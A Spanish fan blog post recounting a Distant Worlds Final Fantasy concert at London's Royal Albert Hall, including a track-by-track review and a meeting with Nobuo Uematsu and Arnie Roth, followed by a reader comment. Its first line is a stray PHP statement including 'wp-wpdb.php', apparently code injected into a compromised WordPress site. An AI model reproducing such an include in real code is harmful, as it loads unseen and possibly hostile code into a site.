if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Distant Worlds Londres, emociones a flor de piel – La Fortaleza de LeChuck

Distant Worlds Londres, emociones a flor de piel

Distant Worlds: music from Final Fantasy, se había convertido en mi sueño desde que descubrí el primer video en youtube. Hace un año, anunciaron que el tour pasaría por Londres, una ciudad europea que por fin estaba a mi alcance.
El sábado pasado tuvo lugar el evento que superó todas mis expectativas iniciales, y ha pasado a convertirse en una de las experiencias más emocionantes de mi vida. Esto es un relato de todos los sentimientos vividos.

El sábado a primera hora de la mañana salía en un vuelo hacia Londres. No llevaba mucho equipaje, tan solo cosas básicas e imprescindibles como los tickets vips, el disco del Final Fantasy VI OSV y un manojo de nervios. Mi visita a Londres iba a ser relámpago, pero como llegamos pronto y la función empezaba a las 19:30, hubo tiempo hasta de recorrer el centro de punta a punta, y a pata. Aún se resienten mis pies.

Llegamos más pronto de la apertura de puertas pero por los alrededores del Royal Albert Hall ya pululaban los primeros fans. Algunos disfrazados, otros con motivos de la saga pero todos compartiendo la misma ilusión. Hoy por fin era 5 de noviembre, y las puertas del gran teatro se habrían delante de nuestros ojos. Nada más entrar se hallaba una pequeña tienda, y no, no era de esas de armaduras, pociones…ni aceptaban guiles 😛 Entre el merchandising encontrábamos camisetas (de bastante mala calidad) y CD’s de varios final Fantasy. Lo que si abundaba por todos los rincones del teatro eran folletos anunciando un juego totalmente innecesario como es Final Fantasy XIII-2, pero esa ya es otra historia.

Después de encontrarnos con varios conocidos y ver algunos españoles, entramos por fin en la grada VIP, situada entre el arena y los palcos de invitados. Tuvimos la suerte de sentarnos en un lugar privilegiado con una visión perfecta del escenario. Desde allí pudimos contemplar la inmensidad del interior de uno de los teatros más grandes y antiguos del mundo. Desprendía un aura especial y rápidamente me vino a la cabeza su parecido con la Opera House de Final Fantasy VI.

Poco a poco el público empezó a llenar el lugar, y pasados unos minutos los miembros de la orquesta tomaron asiento. A continuación, entró uno de los más grandes directores de orquesta y ganador de un grammy, Arnie Roth.

Sin previo aviso la orquesta comenzó con el primer e insigne tema, que no podía ser otro que The Prelude. Sin apenas tiempo para coger aire, daba inicio la magia. Justo cuando sonaban las primeras notas sucedió algo insólito, Nobuo Uematsu y su manager se sentaron a menos de medio metro de mí. Pocos se percataron, pero los que le reconocimos nos quedamos atónitos de que uno de los responsables de este show estuviera tan al alcance, y sobre todo que no prefiriera un palco de invitados como los miembros de Square Enix Europa. Allí estaba él, con sus sandalias, su ropa tradicional japonesa, y uno de sus simpáticos pañuelos en la cabeza. Era un espectador más, meneaba ligeramente su cuerpo al ritmo de la música y aplaudía con la misma intensidad que el resto. Así es Nobuo Uematsu, una persona sencilla y humilde, un genio. Por supuesto no le molestamos, simplemente desde nuestros asientos disfrutamos entregándonos con todas y cada una de sus creaciones.

La melodía que da inicio a todos los Final Fantasy, fue corta pero intensa, lo suficiente para servir de presagio de todo lo que estaba por venir. En ese instante Arnie Roth se presentó y anunció a los asistentes que Nobuo Uematsu se encontraba muy cerca. Un foco le alumbró y la gente rompió en aplausos.

A continuación la música regresó con un tema que nos puso la piel de gallina, Final Fantasy VIII: Liberi Fatali. Se hizo la luz en la zona de los coros, las contundentes voces y la intro del FFVIII en las pantallas, me devolvió a la época en la que jugué por primera vez. Pura nostalgia.
Arnie Roth es un elemento fundamental para que el Distant Worlds sea lo que es. Dedicaba unas palabras al público al acabar cada tema, bien para contar alguna novedad de la gira, o una anécdota divertida. Una de las sorpresas que desveló fue que Distant Worlds volvería a Londres en 2012. El furor se hizo patente en las gradas, y no es para menos, las 8000 localidades del teatro estaban cubiertas, y apuesto que el año que viene también lo estarán.

El espectáculo continúa. Suena para alegría y emoción de todos los asistentes otro esencial de la saga, Victory Theme. Muchos aplausos que quedan en silencio cuando se oyen las primeras notas de Final Fantasy VIII: Don’t be Afraid. En ambas pantallas vemos las imágenes de varias batallas de Squall y Seifer contra tropas enemigas. La canción dura demasiado para mi gusto. Eché de menos Fisherman Horizon.
La quinta canción fue Final Fantasy X: Zanarkand. Una de las más bellas versiones de la velada interpretada por la Royal Philharmonic Orquesta de Londres. Nuestros ojos se empañaron en cuestión de segundos.

Casi sin recomponernos de la impresión, Arnie Roth presentó a la cantante Susan Calloway quien junto a la orquesta se disponía a interpretar el tema del Final Fantasy XI: Memoro de la Stono. Realmente el tema no me llama la atención especialmente, pero en ese instante cambié de opinión. Jamás ha sonado de forma tan brillante.

Es el momento de los minutos de gloria para único tema de Final Fantasy IX: You’re not alone. Ni el juego ni su banda sonora me apasionan, pero hay que reconocer que gana mucho en directo.

El octavo tema de la noche lo reconocí en las primeras notas, y emocionada grité a mi amigo: Final Fantasy V: Clash on the Big Bridge. Mientras tanto, en la pantalla, Gilgamesh luchaba contra Bartz y los otros personajes. No había escuchado ninguna versión orquestada hasta la fecha y me resultó bastante extraña, y quizá también un poco decepcionante. Los instrumentos que sonaban con más fuerza no eran los adecuados para mis oídos. En fin, un pequeño desencanto que se sumó al hecho de que fuera el único tema escogido de FFV.

La decepción se esfumó cuando comenzó a sonar Final Fantasy VII: Aerith’s Theme. El público comenzó a gritar nada más percatarse, pero enseguida la euforia dio paso a las primeras lágrimas. Miré alrededor, individuos de todo tipo no pudieron contenerse, incluso se oían sollozos de varias zonas más alejadas. El hermoso sonido del tema de Aerith acompañaba a sus mejores momentos con Cloud en el parque, paseando con su cesto de flores y otras escenas más dramáticas (que cortaron a tiempo). Era imposible reprimirse.

Las emociones no cesaban, a continuación una delicia más a la lista, Final Fantasy IV: Theme of Love. Versión magistral y fiel de uno de mis temas favoritos de FFIV. En pantalla pasaron varias partes del remake de DS. Los pelos como escarpias.
Llegó el momento lavabo con Final Fantasy XII: Kiss Me Good-Bye. Me fue genial para estar preparada y lista para presenciar uno de los mejores medleys de la noche, Chocobo Medley! El cóctel de imágenes y variaciones del famoso y recurrente tema de chocobo, fue explosivo. Yo y todos los presentes gozamos con el ritmo pegadizo. Aún lo tengo grabado y a veces lo silvo inconscientemente. ¡Brutal! Observad el comienzo con Swing de Chocobo, incluido en Final Fantasy XIV:

Después de esto, llegó el descanso de 10 minutos. Parte del público salió para tomar algo, pero nosotros decidimos quedarnos y comentar todo lo ocurrido hasta ahora. Los minutos pasaron volando y en el escenario volvieron a aparecer los miembros de la orquesta. Todos sabíamos que lo mejor estaba por llegar.

Fue así como sonó uno de los temas más ovacionados, Final Fantasy VII: Bombing Mission, con las imágenes de la intro en las pantallas. Como mencioné antes con FFVIII, era como volver a recordar la emoción de cuando juegas por primera vez.
Y saltamos de tema potente a otro igual o más, hablo de Final Fantasy VI: Dancing Mad. En la pantalla vemos un resumen de los mejores momentos de Kefka, la gente ríe con los gestos de pequeño final boss en 16 bits. Esta fue una de las versiones más larga de la noche, muchas variaciones y sorpresas como el solo del órgano del teatro, el más grande de Inglaterra.

Un pelín largo para mi gusto, pero nadie puede negar que fue interpretado de forma espectacular. Ahora sí, momento para el Medley de Final Fantasy I-II-III, colección de gloriosas melodías de la trilogía de Final Fantasy para NES. Un tema tras otro se enlazaban de forma extraordinaria, dando la sensación de que formaban parte de una sola pieza. Final apoteósico con Rebel Army. Lo único que podemos hacer después es secar nuestros ojos.

Hacemos el esfuerzo de recomponernos para volver de nuevo a Final Fantasy VII con Jenova. Sé que es el favorito de muchos, pero a mí musicalmente nunca me ha atraído. Así que ¡Siguiente! A continuación regresaba la señorita Calloway para interpretar una de las canciones más bonitas, Final Fantasy VIII: Eyes on me. Me fascinó la versión del tema vocal de FFVIII con las escenas más entrañables del juego. Fue sin duda la canción de la noche. El público estaba conmovido con la interpretación de Susan Calloway.

Es hora de volver al lavabo, de ir al bar a tomarse algo, salir fuera a fumar un cigarro, etc. con Final Fantasy XIII: Blinded By Light. O lo que es lo mismo: Nothing to do here.

El tiempo pasa volando, y llevamos ya 2 horas de concierto! pero nadie quiere pensar en el final. Arnie Roth da paso a tres tenores, eso solo puede significar una cosa: Final Fantasy VI: Opera «Maria and Draco«. Solo en Distant Worlds, y en FFVI, se puede disfrutar de algo tan peculiar como una Opera. Simplemente maravillosa e impecable, y como no, se proyectó la célebre escena de Celes haciendo de Maria, ante el acecho de …¡Ups! se cortó :P.

¡No queremos que esto acabe! :_D Los tenores se van y Arnie Roth veloz arranca a su orquesta con un tema que todos echábamos de menos, ese que posee una melodia capaz de teletransportarte por prados verdes a los lomos de un chocobo: Final Fantasy VI: Terra’s Theme. Por muchos años que pasen, y nuevas ciudades recorra Distant Worlds, ninguna otra pieza podrá hacerle sombra. Terra’s theme es eterno. Mis ojos brillantes se cruzaron con los de otros de los allí presentes, todos teníamos la misma mirada. La de estar presenciando algo irrepetible.

Los créditos de la función pasaron a acompañar la imagen de las tres unidades magitek caminando hacia el horizonte. El público aclamaba cada nombre con intensidad, en especial los responsables que han hecho posible esto como Nobuo Uematsu y Arnie Roth.

Todo había terminado, o eso es lo que parecía, pero Arnie Roth nos devolvió la ilusión cuando hizo llamar a Nobuo Uematsu al escenario para que se uniera en el nuevo tema. Él aún permanecía en su butaca, a escasos metros de mí. El compositor, una vez en el escenario, dijo a Arnie suplicando que «no podía», y la gente se echó al reír.

Se situó al lado del coro para ser parte activa de la gran clausura, porque esto no podía acabar de ninguna manera sin… Final Fantasy VII: One Winged Angel. Sin palabras, solo se oyeron miles de aplausos.

Llegó el temido final. Nadie quería irse, ni que la música cesara. Arnie Roth y Nobuo Uematsu agradecen la asistencia y el apoyo. Las manos dolían pero seguíamos aplaudiendo, y lo hicimos durante un rato largo, hasta que las luces del Royal Albert Hall se encendieron, y el escenario quedó desierto. No era momento de entristecerse, aún quedaba la ilusión de conocer a dos genios y conseguir sus autógrafos.

Casi ni olimos el cóctel que habían dispuesto para los poseedores de los tickets vips, directamente fuimos a la cola de firmas. Nervios. Cada vez se aproximaba más el momento de verlos de cerca. La manager de Uematsu me repartió una tarjeta de Dog Ear Records, y se sorprendió cuando le dije que ya la conocía y que me gustaba mucho. Me lo agradeció al estilo japonés con varias reverencias, un amor de mujer. El corazón se me iba a salir del pecho, era mi turno.

Allí estaba él, la razón de mi viaje. Conseguí pronunciar un tembloroso «Hello» y él sonrió y extendió su mano. Pensaba que se limitaría a firmar y poco más, pero me llevé una muy grata sorpresa. Le di la mano y le acerqué la carátula del Final Fantasy VI para su firma. Cuando estampó su autógrafo, le miré a él y a Arnie Roth, y solo se me ocurrió decir una cosa de todas las ensayadas: «Thank you for your music». Los dos muy amables sonrieron y me dieron las gracias. Luego se me nubló la mente y no sé ni como expliqué que adoraba el disco de FFVI, y a continuación le solté un «I love you». Se comenzaron a reír. Yo me puse roja como un tomate al darme cuenta de lo que dije. Después de eso, Arnie me preguntó de dónde era, y le contesté que de España. Los dos se alegraron y me comentaron lo mucho que les gustaba el país, la comida, música, etc, y entre unas cosas y otras me anunciaron un bombazo: En 2012 Distant Worlds pasará por Paris, y puede que después llegue a España! Solté un grito junto a un: «Please, come to Spain!». «Eso esperamos», dijeron. Exaltada me acerqué a ellos para retratar ese momento inolvidable. Era hora de despedirse. Antes de abandonar el teatro, un japonés del equipo de Nobuo me comentó lo mucho que le gustaba España, yo le concreté que era de Barcelona y aún se alegró más. Le respondí que ojalá pronto nos visiten, que hay muchos fans que esperan ansiosos que llegue algún día Distant Worlds.

Con las firmas de dos personas tan extraordinarias y cercanas, regresé a España. Con la sensación de haber vivido un sueño del cual aún no he despertado.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

15 comentarios

  1. Ya con París sí que digo que me pongo a ahorrar YA. *___________________________*

    Articulazo completísimo, y encima documentado de primera mano, qué más podemos pedir. *________*

    Dios, yo hubiese llorado a moco tendido en con el tema de Aeris / Aerith…

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